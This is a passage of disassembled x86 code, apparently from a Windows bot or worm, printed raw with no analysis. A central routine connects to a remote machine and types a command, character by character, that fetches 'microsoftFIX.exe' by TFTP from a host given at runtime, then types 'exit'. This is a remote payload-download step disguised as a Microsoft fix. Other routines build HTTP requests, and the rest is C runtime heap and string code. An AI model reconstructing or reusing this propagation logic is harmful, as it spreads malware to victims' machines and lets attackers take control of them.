short loc_41443D ; --------------------------------------------------------------------------- loc_414451: ; CODE XREF: sub_4143DD+28j lea eax, [ebp+var_8] push offset off_443704 push eax call sub_4171D0 lea eax, [ebp+var_8C] push offset off_443708 push eax call sub_4171D0 add esp, 10h loc_414473: ; CODE XREF: sub_4143DD+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40267D pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_44370C push 200h push [ebp+arg_0] call sub_4172D0 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_4143DD endp ; =============== S U B R O U T I N E ======================================= sub_4144A6 proc near ; CODE XREF: sub_41406D:loc_414075p ; sub_41406D+1Cp rdtsc retn sub_4144A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4144A9 proc near ; CODE XREF: ___:0041478Dp ; ___:004147AAp ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DB080 lea edi, [ebp+var_C] mov ax, word_44375C movsd movsb mov esi, offset dword_4DB088 lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_443760 movsd mov [ebp+var_6], ax mov ax, word_4DB07C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_414575 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_4144FB: ; CODE XREF: sub_4144A9+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41451B dec eax jnz short loc_414569 push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_445398 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41452F ; --------------------------------------------------------------------------- loc_41451B: ; CODE XREF: sub_4144A9+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_445398 push esi push 1 lea eax, [ebp+var_6] loc_41452F: ; CODE XREF: sub_4144A9+70j push eax push edi call dword_445398 push ebx call sub_414BE0 pop ecx cmp eax, 2 push esi jnz short loc_41454B loc_414544: ; DATA XREF: ___:004447A0o ; ___:00444C9Co push 4 lea eax, [ebp+var_C] jmp short loc_414550 ; --------------------------------------------------------------------------- loc_41454B: ; CODE XREF: sub_4144A9+99j push 5 lea eax, [ebp+var_14] loc_414550: ; CODE XREF: sub_4144A9+A0j push eax push edi call dword_445398 push esi push ebx call sub_414BE0 pop ecx push eax push ebx push edi call dword_445398 loc_414569: ; CODE XREF: sub_4144A9+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_4144FB pop ebx jmp short loc_4145EB ; --------------------------------------------------------------------------- loc_414575: ; CODE XREF: sub_4144A9+42j dec eax jz short loc_414594 dec eax jnz short loc_4145EB mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_445398 push esi push 1 lea eax, [ebp+var_4] jmp short loc_4145AB ; --------------------------------------------------------------------------- loc_414594: ; CODE XREF: sub_4144A9+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_445398 push esi push 1 lea eax, [ebp+var_6] loc_4145AB: ; CODE XREF: sub_4144A9+E9j push eax push edi call dword_445398 push [ebp+arg_4] call sub_414BE0 pop ecx cmp eax, 2 push esi jnz short loc_4145C9 push 4 lea eax, [ebp+var_C] jmp short loc_4145CE ; --------------------------------------------------------------------------- loc_4145C9: ; CODE XREF: sub_4144A9+117j push 5 lea eax, [ebp+var_14] loc_4145CE: ; CODE XREF: sub_4144A9+11Ej push eax push edi call dword_445398 push esi push [ebp+arg_4] call sub_414BE0 pop ecx push eax push [ebp+arg_4] push edi call dword_445398 loc_4145EB: ; CODE XREF: sub_4144A9+CAj ; sub_4144A9+D0j pop edi pop esi leave retn sub_4144A9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi mov esi, offset dword_443764 lea edi, [ebp-38h] mov ax, word_443778 movsd movsd movsd movsb mov esi, offset dword_443774 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_4DB090 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_443780 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_443788 lea edi, [ebp-0Ch] movsw movsb mov [ebp-2], ax mov ax, word_44377C xor esi, esi mov [ebp-4], ax mov ax, word_44378C push esi push 1 push 2 mov [ebp-6], ax xor edi, edi call dword_4453C8 mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp-1Ch], ebx jnz short loc_414670 push eax call dword_4453E0 loc_414670: ; CODE XREF: ___:00414667j lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_445388 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_445348 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4452F0 test eax, eax jnz loc_4149A5 loc_4146A8: ; CODE XREF: ___:0041471Ej ; ___:00414759j push 40h lea eax, [ebp-88h] push esi push eax call sub_417070 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_445360 cmp eax, esi jle loc_414778 cmp eax, 0FFFFFFFFh jz loc_414778 mov eax, edi sub eax, esi jz short loc_414720 dec eax jz short loc_4146EA dec eax jz short loc_41475E jmp short loc_414754 ; --------------------------------------------------------------------------- loc_4146EA: ; CODE XREF: ___:004146E3j lea eax, [ebp-14h] push eax lea eax, [ebp-88h] push eax call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4149A5 lea eax, [ebp-2] push esi push eax call sub_414BE0 pop ecx push eax lea eax, [ebp-2] push eax push ebx call dword_445398 push 2 pop edi jmp short loc_4146A8 ; --------------------------------------------------------------------------- loc_414720: ; CODE XREF: ___:004146E0j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4149A5 lea eax, [ebp-38h] push esi push eax call sub_414BE0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_445398 push 1 pop edi loc_414754: ; CODE XREF: ___:004146E8j cmp edi, 3 jz short loc_414778 jmp loc_4146A8 ; --------------------------------------------------------------------------- loc_41475E: ; CODE XREF: ___:004146E6j lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4149A5 loc_414778: ; CODE XREF: ___:004146CDj ; ___:004146D6j ... push esi lea eax, [ebp-4] push 1 push eax push ebx call dword_445398 lea eax, [ebp-10h] push 1 push eax push ebx call sub_4144A9 mov esi, dword_4DD2CC add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-6] push 0 push eax push ebx call sub_4144A9 add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_4144A9 add esp, 0Ch push edi call esi and dword ptr [ebp-18h], 0 mov ebx, offset byte_443750 push ebx call sub_414BE0 test eax, eax pop ecx jbe short loc_41481A loc_4147DB: ; CODE XREF: ___:00414818j mov eax, [ebp-18h] movsx eax, byte_443750[eax] push eax push offset dword_443790 lea eax, [ebp-20h] push 3 push eax call sub_4172D0 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-18h] push ebx call sub_414BE0 cmp [ebp-18h], eax pop ecx jb short loc_4147DB loc_41481A: ; CODE XREF: ___:004147D9j lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 0Ch push 7D0h call esi push 100h mov ebx, offset byte_4DAF7C push 0 push ebx call sub_417070 add esp, 0Ch push offset aMicrosoftfix_e ; "microsoftFIX.exe" push dword ptr [ebp+8] call sub_40267D pop ecx push eax push offset aTftpISGetS_0 ; "tftp -i %s GET %s" push 0FFh push ebx call sub_4172D0 and dword ptr [ebp-18h], 0 push ebx call sub_414BE0 add esp, 18h test eax, eax jbe short loc_4148B6 loc_414877: ; CODE XREF: ___:004148B4j mov eax, [ebp-18h] movsx eax, byte_4DAF7C[eax] push eax push offset aC ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_4172D0 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-18h] push ebx call sub_414BE0 cmp [ebp-18h], eax pop ecx jb short loc_414877 loc_4148B6: ; CODE XREF: ___:00414875j push edi call esi lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 0Ch push 7530h call esi and dword ptr [ebp-18h], 0 mov ebx, offset aMicrosoftfix_e ; "microsoftFIX.exe" push ebx call sub_414BE0 test eax, eax pop ecx jbe short loc_414924 loc_4148E5: ; CODE XREF: ___:00414922j mov eax, [ebp-18h] movsx eax, byte ptr aMicrosoftfix_e[eax] ; "microsoftFIX.exe" push eax push offset aC_0 ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_4172D0 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-18h] push ebx call sub_414BE0 cmp [ebp-18h], eax pop ecx jb short loc_4148E5 loc_414924: ; CODE XREF: ___:004148E3j push edi call esi xor ebx, ebx lea eax, [ebp-0Ch] push ebx push eax push dword ptr [ebp-1Ch] call sub_4144A9 mov edi, offset aExit ; "exit" push edi call sub_414BE0 add esp, 10h test eax, eax jbe short loc_414981 loc_414948: ; CODE XREF: ___:0041497Fj movsx eax, byte ptr aExit[ebx] ; "exit" push eax push offset aC_1 ; "%c" lea eax, [ebp-20h] push 3 push eax call sub_4172D0 lea eax, [ebp-20h] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 1Ch push 7Dh call esi push edi inc ebx call sub_414BE0 cmp ebx, eax pop ecx jb short loc_414948 loc_414981: ; CODE XREF: ___:00414946j push 2 pop edi loc_414984: ; CODE XREF: ___:0041499Dj push 258h call esi lea eax, [ebp-0Ch] push 0 push eax push dword ptr [ebp-1Ch] call sub_4144A9 add esp, 0Ch dec edi jnz short loc_414984 mov ebx, [ebp-1Ch] push 1 pop esi loc_4149A5: ; CODE XREF: ___:004146A2j ; ___:004146FEj ... push ebx call dword_4453E0 mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4149B3: ; DATA XREF: sub_403038+2B6Bo push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+8] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp-35Ch] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp-148h] push ebx push eax mov [ebp-0Ch], ebx mov [ebp-4], ebx mov dword ptr [ebp-8], offset asc_4437B4 ; "*/*" call sub_417070 push edi lea eax, [ebp-1C8h] push ebx push eax call sub_417070 push edi lea eax, [ebp-0C8h] push ebx push eax call sub_417070 push 100h lea eax, [ebp-65Ch] push ebx push eax call sub_417070 push 3Ch lea eax, [ebp-48h] pop edi push edi push ebx push eax call sub_417070 add esp, 3Ch lea eax, [ebp-48h] mov [ebp-48h], edi mov [ebp-34h], esi push eax lea eax, [ebp-358h] push ebx push eax mov [ebp-28h], esi mov [ebp-20h], esi mov [ebp-18h], esi call sub_414BE0 pop ecx push eax lea eax, [ebp-358h] push eax call dword_445244 test eax, eax jz loc_414B4D cmp [ebp-34h], ebx jbe short loc_414A8A push dword ptr [ebp-34h] lea eax, [ebp-148h] push dword ptr [ebp-38h] push eax call sub_417770 add esp, 0Ch loc_414A8A: ; CODE XREF: ___:00414A73j cmp [ebp-28h], ebx movzx esi, word ptr [ebp-30h] jbe short loc_414AA8 push dword ptr [ebp-28h] lea eax, [ebp-1C8h] push dword ptr [ebp-2Ch] push eax call sub_417770 add esp, 0Ch loc_414AA8: ; CODE XREF: ___:00414A91j cmp [ebp-20h], ebx jbe short loc_414AC2 push dword ptr [ebp-20h] lea eax, [ebp-0C8h] push dword ptr [ebp-24h] push eax call sub_417770 add esp, 0Ch loc_414AC2: ; CODE XREF: ___:00414AABj cmp [ebp-18h], ebx jbe short loc_414ADC push dword ptr [ebp-18h] lea eax, [ebp-65Ch] push dword ptr [ebp-1Ch] push eax call sub_417770 add esp, 0Ch loc_414ADC: ; CODE XREF: ___:00414AC5j push ebx push ebx lea eax, [ebp-0C8h] push 3 push eax lea eax, [ebp-1C8h] push eax lea eax, [ebp-148h] push esi push eax push dword_4452F8 call dword_44531C mov esi, eax cmp esi, ebx jz short loc_414B65 push ebx lea eax, [ebp-8] push 200h push eax lea eax, [ebp-2D8h] push eax lea eax, [ebp-65Ch] push ebx push eax push ebx push esi call dword_445310 cmp eax, ebx mov [ebp-4], eax jz short loc_414B6C push ebx push ebx push ebx push ebx push eax call dword_4452BC test eax, eax jz short loc_414B46 push offset dword_443830 jmp short loc_414B71 ; --------------------------------------------------------------------------- loc_414B46: ; CODE XREF: ___:00414B3Dj push offset unk_44384C jmp short loc_414B71 ; --------------------------------------------------------------------------- loc_414B4D: ; CODE XREF: ___:00414A6Aj lea eax, [ebp-55Ch] push offset dword_4437B8 push eax call sub_4171D0 mov esi, [ebp-0Ch] pop ecx pop ecx jmp short loc_414B7F ; --------------------------------------------------------------------------- loc_414B65: ; CODE XREF: ___:00414B06j push offset unk_4437D4 jmp short loc_414B71 ; --------------------------------------------------------------------------- loc_414B6C: ; CODE XREF: ___:00414B2Ej push offset unk_443800 loc_414B71: ; CODE XREF: ___:00414B44j ; ___:00414B4Bj ... lea eax, [ebp-55Ch] push eax call sub_4171D0 pop ecx pop ecx loc_414B7F: ; CODE XREF: ___:00414B63j cmp [ebp-1D4h], ebx jnz short loc_414BAA push ebx lea eax, [ebp-55Ch] push dword ptr [ebp-1D0h] push eax lea eax, [ebp-258h] push eax push dword ptr [ebp-35Ch] call sub_401445 add esp, 14h loc_414BAA: ; CODE XREF: ___:00414B85j lea eax, [ebp-55Ch] push eax call sub_410557 pop ecx push esi call dword_44537C push dword ptr [ebp-4] call dword_44537C push dword ptr [ebp-1D8h] call sub_40916F pop ecx push ebx nop call near ptr 2700000h pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414BE0 proc near ; CODE XREF: sub_401000+34p ; ___:004011F4p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_414C00 loc_414BEC: ; CODE XREF: sub_414BE0+19j mov al, [ecx] inc ecx test al, al jz short loc_414C33 test ecx, 3 jnz short loc_414BEC add eax, 0 loc_414C00: ; CODE XREF: sub_414BE0+Aj ; sub_414BE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_414C00 mov eax, [ecx-4] test al, al jz short loc_414C51 test ah, ah jz short loc_414C47 test eax, 0FF0000h jz short loc_414C3D test eax, 0FF000000h jz short loc_414C33 jmp short loc_414C00 ; --------------------------------------------------------------------------- loc_414C33: ; CODE XREF: sub_414BE0+11j ; sub_414BE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_414C3D: ; CODE XREF: sub_414BE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_414C47: ; CODE XREF: sub_414BE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_414C51: ; CODE XREF: sub_414BE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_414BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C60 proc near ; CODE XREF: sub_4010AB+64p ; sub_403038+2A45p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_414C6E: ; CODE XREF: sub_414C60+36j cmp [ebp+arg_0], 0 jnz short loc_414C92 push offset dword_4334A4 push 0 push 3Ah push offset dword_433498 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_414C92 int 3 ; Trap to Debugger loc_414C92: ; CODE XREF: sub_414C60+12j ; sub_414C60+2Fj xor eax, eax test eax, eax jnz short loc_414C6E mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_414CB1 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_414CD8 ; --------------------------------------------------------------------------- loc_414CB1: ; CODE XREF: sub_414C60+43j mov ecx, [ebp+arg_0] push ecx call sub_418E90 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_414CF0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_418F00 add esp, 4 loc_414CD8: ; CODE XREF: sub_414C60+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CF0 proc near ; CODE XREF: sub_414C60+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_414D06: ; CODE XREF: sub_414CF0+3Ej cmp [ebp+arg_0], 0 jnz short loc_414D2A push offset dword_4334B4 push 0 push 77h push offset dword_433498 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_414D2A int 3 ; Trap to Debugger loc_414D2A: ; CODE XREF: sub_414CF0+1Aj ; sub_414CF0+37j xor ecx, ecx test ecx, ecx jnz short loc_414D06 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_414D9A mov ecx, [ebp+var_8] push ecx call sub_41B420 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_41B2E0 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_41B1B0 add esp, 4 test eax, eax jge short loc_414D76 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_414D9A ; --------------------------------------------------------------------------- loc_414D76: ; CODE XREF: sub_414CF0+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_414D9A push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_415860 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_414D9A: ; CODE XREF: sub_414CF0+4Dj ; sub_414CF0+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DB0 proc near ; CODE XREF: sub_4010AB+6p ; sub_402599+63p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push 1 mov eax, dword_4DB12C push eax mov ecx, [ebp+arg_0] push ecx call sub_414E20 add esp, 14h pop ebp retn sub_414DB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DD0 proc near ; CODE XREF: sub_4151E0+20p ; sub_4152A0+26p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, dword_4DB12C push eax mov ecx, [ebp+arg_0] push ecx call sub_414E20 add esp, 14h pop ebp retn sub_414DD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E00 proc near ; CODE XREF: sub_419BB0+9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_414E20 add esp, 14h pop ebp retn sub_414E00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E20 proc near ; CODE XREF: sub_414DB0+13p ; sub_414DD0+19p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx loc_414E24: ; CODE XREF: sub_414E20:loc_414E78j push 9 call sub_41B780 add esp, 4 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_414EA0 loc_414E43: ; DATA XREF: ___:004447CCo ; ___:00444BBCo ... add esp, 10h mov [ebp+var_4], eax push 9 call sub_41B820 add esp, 4 cmp [ebp+var_4], 0 jnz short loc_414E5F cmp [ebp+arg_4], 0 jnz short loc_414E64 loc_414E5F: ; CODE XREF: sub_414E20+37j mov eax, [ebp+var_4] jmp short loc_414E7A ; --------------------------------------------------------------------------- loc_414E64: ; CODE XREF: sub_414E20+3Dj mov ecx, [ebp+arg_0] push ecx call sub_41B670 add esp, 4 test eax, eax jnz short loc_414E78 xor eax, eax jmp short loc_414E7A ; --------------------------------------------------------------------------- loc_414E78: ; CODE XREF: sub_414E20+52j jmp short loc_414E24 ; --------------------------------------------------------------------------- loc_414E7A: ; CODE XREF: sub_414E20+42j ; sub_414E20+56j mov esp, ebp pop ebp retn sub_414E20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_414EA0 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EA0 proc near ; CODE XREF: sub_414E20+1Ep ; ___:00414E8Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, dword_443890 and eax, 4 test eax, eax jz short loc_414EEC loc_414EBC: ; CODE XREF: sub_414EA0+4Aj call sub_415F70 test eax, eax jnz short loc_414EE6 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 141h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_414EE6 int 3 ; Trap to Debugger loc_414EE6: ; CODE XREF: sub_414EA0+23j ; sub_414EA0+43j xor ecx, ecx test ecx, ecx jnz short loc_414EBC loc_414EEC: ; CODE XREF: sub_414EA0+1Aj mov edx, dword_443894 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, dword_443898 jnz short loc_414F01 int 3 ; Trap to Debugger loc_414F01: ; CODE XREF: sub_414EA0+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 push 1 call off_443C70 add esp, 1Ch test eax, eax jnz short loc_414F84 cmp [ebp+arg_8], 0 jz short loc_414F57 loc_414F2C: ; CODE XREF: sub_414EA0+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 1Ch cmp eax, 1 jnz short loc_414F4F int 3 ; Trap to Debugger loc_414F4F: ; CODE XREF: sub_414EA0+ACj xor edx, edx test edx, edx jnz short loc_414F2C jmp short loc_414F7D ; --------------------------------------------------------------------------- loc_414F57: ; CODE XREF: sub_414EA0+8Aj ; sub_414EA0+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_414F77 int 3 ; Trap to Debugger loc_414F77: ; CODE XREF: sub_414EA0+D4j xor eax, eax test eax, eax jnz short loc_414F57 loc_414F7D: ; CODE XREF: sub_414EA0+B5j xor eax, eax jmp loc_4151AC ; --------------------------------------------------------------------------- loc_414F84: ; CODE XREF: sub_414EA0+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_414FA6 mov edx, dword_443890 and edx, 1 test edx, edx jnz short loc_414FA6 mov [ebp+var_C], 1 loc_414FA6: ; CODE XREF: sub_414EA0+F0j ; sub_414EA0+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_414FB7 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_414FE3 loc_414FB7: ; CODE XREF: sub_414EA0+10Aj ; sub_414EA0+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_414FD6 int 3 ; Trap to Debugger loc_414FD6: ; CODE XREF: sub_414EA0+133j xor edx, edx test edx, edx jnz short loc_414FB7 xor eax, eax jmp loc_4151AC ; --------------------------------------------------------------------------- loc_414FE3: ; CODE XREF: sub_414EA0+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_415030 cmp [ebp+arg_4], 1 jz short loc_415030 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_415030 cmp [ebp+arg_4], 3 jz short loc_415030 loc_41500A: ; CODE XREF: sub_414EA0+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41502A int 3 ; Trap to Debugger loc_41502A: ; CODE XREF: sub_414EA0+187j xor edx, edx test edx, edx jnz short loc_41500A loc_415030: ; CODE XREF: sub_414EA0+14Ej ; sub_414EA0+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_41B8E0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415055 xor eax, eax jmp loc_4151AC ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_414EA0+1ACj mov edx, dword_443894 add edx, 1 mov dword_443894, edx cmp [ebp+var_C], 0 jz short loc_4150B3 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_415153 ; --------------------------------------------------------------------------- loc_4150B3: ; CODE XREF: sub_414EA0+1C8j mov edx, dword_4DB09C add edx, [ebp+arg_0] mov dword_4DB09C, edx mov eax, dword_4DB0A4 add eax, [ebp+arg_0] mov dword_4DB0A4, eax mov ecx, dword_4DB0A4 cmp ecx, dword_4DB0A8 jbe short loc_4150E9 mov edx, dword_4DB0A4 mov dword_4DB0A8, edx loc_4150E9: ; CODE XREF: sub_414EA0+23Bj cmp dword_4DB0A0, 0 jz short loc_4150FF mov eax, dword_4DB0A0 mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_415108 ; --------------------------------------------------------------------------- loc_4150FF: ; CODE XREF: sub_414EA0+250j mov edx, [ebp+var_4] mov dword_4DB098, edx loc_415108: ; CODE XREF: sub_414EA0+25Dj mov eax, [ebp+var_4] mov ecx, dword_4DB0A0 mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov dword_4DB0A0, ecx loc_415153: ; CODE XREF: sub_414EA0+20Ej push 4 xor edx, edx mov dl, byte_44389C push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_417070 add esp, 0Ch push 4 xor ecx, ecx mov cl, byte_44389C push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_417070 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, byte_44389E push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_417070 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_4151AC: ; CODE XREF: sub_414EA0+DFj ; sub_414EA0+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151C0 proc near ; 